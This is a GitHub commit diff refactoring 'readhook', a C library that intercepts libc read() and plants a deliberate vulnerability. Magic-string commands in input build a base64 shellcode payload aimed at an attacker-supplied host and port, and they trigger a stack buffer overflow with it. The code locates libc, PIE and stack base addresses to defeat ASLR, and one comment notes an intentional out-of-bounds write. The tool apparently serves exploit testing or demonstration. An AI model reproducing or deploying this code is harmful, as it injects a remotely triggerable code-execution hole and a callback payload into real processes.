Skip to content

Commit

Permalink
Further re-factoring.
Browse files Browse the repository at this point in the history
  • Loading branch information
rsundahl committed Jan 26, 2018
1 parent 0ac0019 commit 8600565
Show file tree
Hide file tree
Showing 7 changed files with 107 additions and 105 deletions.
2 changes: 1 addition & 1 deletion build.sh
Original file line number Diff line number Diff line change
@@ -1,5 +1,5 @@
#!/bin/bash
docker build --no-cache -t readhook .
docker build -t readhook .

# Extract the library from the container
docker run -d --rm --name readhook readhook sleep 10
Expand Down
30 changes: 29 additions & 1 deletion src/addresses.c
Original file line number Diff line number Diff line change
@@ -1,9 +1,37 @@
#define _GNU_SOURCE
#include <string.h>
#include <unistd.h>

#include "addresses.h"

static Pointer pageBase(Pointer p) {
return (Pointer) (((unsigned long) p) & (-1 ^ getpagesize() - 1));
} // pageBase()

static Pointer elfBase(Pointer p) {
const char s_elf_signature[] = {0x7F, 'E', 'L', 'F', 0};

p = pageBase(p);
while (strncmp(p, s_elf_signature, strlen(s_elf_signature)))
p -= getpagesize();

return p;
} // elfBase()

void initBaseAddresses(BaseAddressesPtr baseAddressesPtr) {
int dummy;

*baseAddressesPtr = (BaseAddresses) {
.buf_base = NULL,
.libc_base = elfBase(strcpy),
.pie_base = elfBase(initBaseAddresses),
.stack_base = pageBase(&dummy)
};
} // initBaseaddresses()

Pointer baseAddress(char base, BaseAddressesPtr baseAddressesPtr) {
switch (base) {
case 'B' : return baseAddressesPtr->buffer_base;
case 'B' : return baseAddressesPtr->buf_base;
case 'L' : return baseAddressesPtr->libc_base;
case 'P' : return baseAddressesPtr->pie_base;
case 'S' : return baseAddressesPtr->stack_base; // Actually just base of current stack page
Expand Down
4 changes: 2 additions & 2 deletions src/addresses.h
Original file line number Diff line number Diff line change
Expand Up @@ -17,18 +17,18 @@ typedef union AddressUnion {
} AddressUnion, *AddressUnionPtr;

typedef struct BaseAddresses {
Pointer buffer_base;
Pointer buf_base;
Pointer libc_base;
Pointer pie_base;
Pointer stack_base;
} BaseAddresses, *BaseAddressesPtr;

extern void initBaseAddresses(BaseAddressesPtr baseAddresses);
extern Pointer baseAddress(char base, BaseAddressesPtr baseAddressesPtr);
extern Offset pointerToOffset(Pointer p, char base, BaseAddressesPtr baseAddressesPtr);
extern Offset indirectToOffset(Pointer p, char base, BaseAddressesPtr baseAddressesPtr);
extern Pointer ffsetToPointer(Offset o, BaseAddressesPtr baseAddressesPtr);
extern Pointer offsetToIndirect(Offset o, BaseAddressesPtr baseAddressesPtr);
extern AddressUnion fixupAddressUnion(AddressUnion au, BaseAddressesPtr baseAddressesPtr);
extern void dofixups(Pointer p, size_t n, BaseAddressesPtr baseAddressesPtr);

#endif
10 changes: 5 additions & 5 deletions src/payload.c
Original file line number Diff line number Diff line change
Expand Up @@ -51,11 +51,11 @@ static const Payload payload0 = {
0x0f, 0x05 // syscall
} // .raw
} // .pl_scu
}; // payload
}; // payload0

Payload baseload(void) {
return payload0;
} // baseload()
void initload(PayloadPtr plp) {
*plp = payload0;
} // initload()

void makeload(PayloadPtr plp, BaseAddressesPtr baseAddressesPtr) {
size_t libc_size = getpagesize() * 100; // Punt
Expand All @@ -71,7 +71,7 @@ void makeload(PayloadPtr plp, BaseAddressesPtr baseAddressesPtr) {
Pointer libc_mprotect = dlsym(RTLD_NEXT, "mprotect");

// Offsets are relative to the payload
baseAddressesPtr->buffer_base = plp;
baseAddressesPtr->buf_base = plp;

memset(plp->pl_dst, 0, sizeof(plp->pl_dst));

Expand Down
3 changes: 2 additions & 1 deletion src/payload.h
Original file line number Diff line number Diff line change
@@ -1,6 +1,7 @@
#ifndef _PAYLOAD_H_
#define _PAYLOAD_H_
#include <arpa/inet.h>

#include "addresses.h"

typedef struct ShellCode {
Expand Down Expand Up @@ -31,7 +32,7 @@ typedef struct Payload {
ShellCodeUnion pl_scu;
} Payload, *PayloadPtr;

extern Payload baseload(void);
extern void initload(PayloadPtr plp);
extern void makeload(PayloadPtr plp, BaseAddressesPtr baseAddressesPtr);
extern void dumpload(PayloadPtr plp, BaseAddressesPtr baseAddressesPtr);
#endif
162 changes: 67 additions & 95 deletions src/readhook.c
Original file line number Diff line number Diff line change
@@ -1,119 +1,106 @@
#define _GNU_SOURCE
#include <netdb.h>
#include <assert.h>
#include <dlfcn.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <dlfcn.h> // For dlsym()
#include <netdb.h> // For gethostbyname()
#include <stdio.h> // For i/o
#include <string.h> // For str...() and mem...()

#include "addresses.h"
#include "base64.h"
#include "payload.h"
#include "strnstr.h"

static Pointer pageBase(Pointer p) {
return (Pointer) (((unsigned long) p) & (-1 ^ getpagesize() - 1));
} // pageBase()
static const char s_magic[] = "xyzzy";
static const char s_makeload[] = "MAKELOAD";
static const char s_dumpload[] = "DUMPLOAD";
static const char s_testload[] = "TESTLOAD";
static const char s_overflow[] = "OVERFLOW";

// Parse the stuff following MAKELOAD into s_host:port
static ssize_t parseHostAndPort(char *p, ssize_t extent, struct in_addr *ipAddress, unsigned short *port) {
char s_host[256];
unsigned short np;
int nc = 0, ns = sscanf(p, "%[A-Za-z0-9-.]%n:%hu%n", s_host, &nc, &np, &nc);
assert(ns >= 0 && ns <= 2);

*port = htons((ns > 1) ? np : 5555);

// See if the s_host string can be parsed by inet_aton()
if (inet_aton(s_host, ipAddress) == 0)
for (struct hostent *he = gethostbyname(s_host); he; he = NULL)
for (int i = 0; ((struct in_addr **) he->h_addr_list)[i] != NULL; i++)
*ipAddress = *((struct in_addr **) he->h_addr_list)[i];

static Pointer elfBase(Pointer p) {
const char s_elf_signature[] = {0x7F, 'E', 'L', 'F', 0};
return nc;
} // parseHostAndPort()

p = pageBase(p);
while (strncmp(p, s_elf_signature, strlen(s_elf_signature)))
p -= getpagesize();
static ssize_t falseEcho(PayloadPtr plp, char *p, ssize_t extent) {
// Parse the IP Address and port into our payload
int nc = parseHostAndPort(p, extent, &plp->pl_scu.sc.ipAddress, &plp->pl_scu.sc.port);

// Generate the payload that we will "echo" back
unsigned char sPayload64[4096];
size_t nPayload64 = b64Encode((const unsigned char *) plp, sizeof(*plp), sPayload64, sizeof(sPayload64));

return p;
} // elfBase()
// Make room for the payload (where the request used to be).
char *src = p + nc;
char *dst = p + nPayload64 - strlen(s_makeload) + strlen(s_overflow);
int delta = dst - src;
memmove(dst, src, extent - nc);

// Replace s_makeload with s_overflow
memcpy(p - strlen(s_makeload), s_overflow, strlen(s_overflow));
p += strlen(s_overflow) - strlen(s_makeload);

// Place the payload in the newly created space
memcpy(p, sPayload64, nPayload64);

return delta;
} // falseEcho()

static void overflow(Pointer p, size_t n, BaseAddressesPtr baseAddressesPtr) {
char buffer[8] = {0};

baseAddressesPtr->buffer_base = &buffer;;
baseAddressesPtr->buf_base = &buffer;;
dofixups(p, n, baseAddressesPtr);

memcpy(buffer, p, n);
} // overflow()

static const char s_magic[] = "xyzzy";
static const char s_makeload[] = "MAKELOAD";
static const char s_dumpload[] = "DUMPLOAD";
static const char s_testload[] = "TESTLOAD";
static const char s_overflow[] = "OVERFLOW";

static int initialized = 0;
static Payload payload;

typedef
ssize_t Read(int fd, void *buf, size_t count);
ssize_t read(int fd, void *buf, size_t count) {
Read *libc_read = dlsym(RTLD_NEXT, "read");
Read *libc_read = (Read *) dlsym(RTLD_NEXT, "read");
ssize_t result = libc_read(fd, buf, count);

char *p = (result < strlen(s_magic)) ? NULL : strstr(buf, s_magic);

if (p) {
BaseAddresses baseAddresses = {
.buffer_base = NULL,
.libc_base = elfBase(libc_read),
.pie_base = elfBase(read),
.stack_base = pageBase(&baseAddresses)
};
p += strlen(s_magic);

static BaseAddresses baseAddresses;
static Payload payload;

static int initialized = 0;
if (!initialized) {
payload = baseload();
initialized = 1;
initBaseAddresses(&baseAddresses);
initload(&payload);
initialized++;
} // if

p += strlen(s_magic);
if (!strncmp(s_makeload, p, strlen(s_makeload))) {
p += strlen(s_makeload);

makeload(&payload, &baseAddresses);

// Parse the stuff after MAKELOAD into s_host:port
int nc, ns;
char s_host[256];
unsigned short port;

ns = sscanf(p, "%n%255[^: \n]%n:%hu%n", &nc, s_host, &nc, &port, &nc);
assert(ns >= 0 && ns <= 2);

// Set the port to whatever we got from the sscanf (store it in host endian order)
payload.pl_scu.sc.port = htons((ns > 1) ? port : 5555);

// See if the s_host string can be parsed by inet_aton()
if (inet_aton(s_host, &payload.pl_scu.sc.ipAddress) == 0)
for (struct hostent *he = gethostbyname(s_host); he; he = NULL)
for (int i = 0; ((struct in_addr **) he->h_addr_list)[i] != NULL; i++)
payload.pl_scu.sc.ipAddress = *((struct in_addr **) he->h_addr_list)[i];

// Generate the payload that we will "echo" back
unsigned char sPayload64[4096];
size_t nPayload64 = b64Encode((const unsigned char *) &payload, sizeof(payload), sPayload64, sizeof(sPayload64));

// Make room for the payload (where the request used to be).
char *src = p + nc;
char *dst = p + nPayload64 - strlen(s_makeload) + strlen(s_overflow);
int delta = dst - src;
memmove(dst, src, delta);

// Replace s_makeload with s_overflow
memcpy(p - strlen(s_makeload), s_overflow, strlen(s_overflow));
p += strlen(s_overflow) - strlen(s_makeload);

// Place the payload in the newly created space
memcpy(p, sPayload64, nPayload64);

// Adjust the number of characters read
result += delta;
result += falseEcho(&payload, p, result - (p - (char *)buf));

// Unbounded out-of-bounds write that is intentional and "ok" for us now (considering everything else)
((char *) buf)[result] = 0;
} // if
else if (!strncmp(s_dumpload, p, strlen(s_dumpload)))
dumpload(&payload, &baseAddresses);
else if (!strncmp(s_testload, p, strlen(s_testload)))
overflow((Pointer)&payload, sizeof(payload), &baseAddresses);
overflow(&payload, sizeof(payload), &baseAddresses);
else if (!strncmp(s_overflow, p, strlen(s_overflow))) {
unsigned char *s64 = (unsigned char *) (p + strlen(s_overflow));
size_t n256 = b64Decode(s64, b64Length(s64), (unsigned char *) p, 65535);
Expand All @@ -127,28 +114,13 @@ ssize_t read(int fd, void *buf, size_t count) {
#ifdef READHOOK_MAIN
int main(int argc, char **argv)
{
fprintf(stderr, "Running as an executable\n");

assert(sizeof(short) == 2);
assert(sizeof(int) == 4);
assert(sizeof(long) == 8);
assert(sizeof(void *) == 8);
assert(sizeof(Pointer) == 8);
assert(sizeof(ptrdiff_t) == 8);
assert(sizeof(Offset) == 8);
assert(sizeof(AddressUnion) == 8);
assert(sizeof(struct in_addr) == 4);
assert(sizeof(ShellCodeUnion) == 76);
assert(getpagesize() == 4096);
assert((-1^(getpagesize()-1))==0xfffffffffffff000);

payload = baseload();
BaseAddresses baseAddresses = {
.buffer_base = NULL,
.libc_base = elfBase(dlsym(RTLD_NEXT, "read")),
.pie_base = elfBase(read),
.stack_base = pageBase(&baseAddresses)
};
fprintf(stderr, "Running (testing) as an executable\n");

BaseAddresses baseAddresses;
initBaseAddresses(&baseAddresses);

Payload payload;
initload(&payload);

makeload(&payload, &baseAddresses);
dumpload(&payload, &baseAddresses);
Expand Down
1 change: 1 addition & 0 deletions src/strnstr.c
Original file line number Diff line number Diff line change
@@ -1,5 +1,6 @@
#define _GNU_SOURCE
#include <string.h>

#include "strnstr.h"

char *strnstr(const char *s1, const char *s2, size_t len)
Expand Down

0 comments on commit 8600565

Please sign in to comment.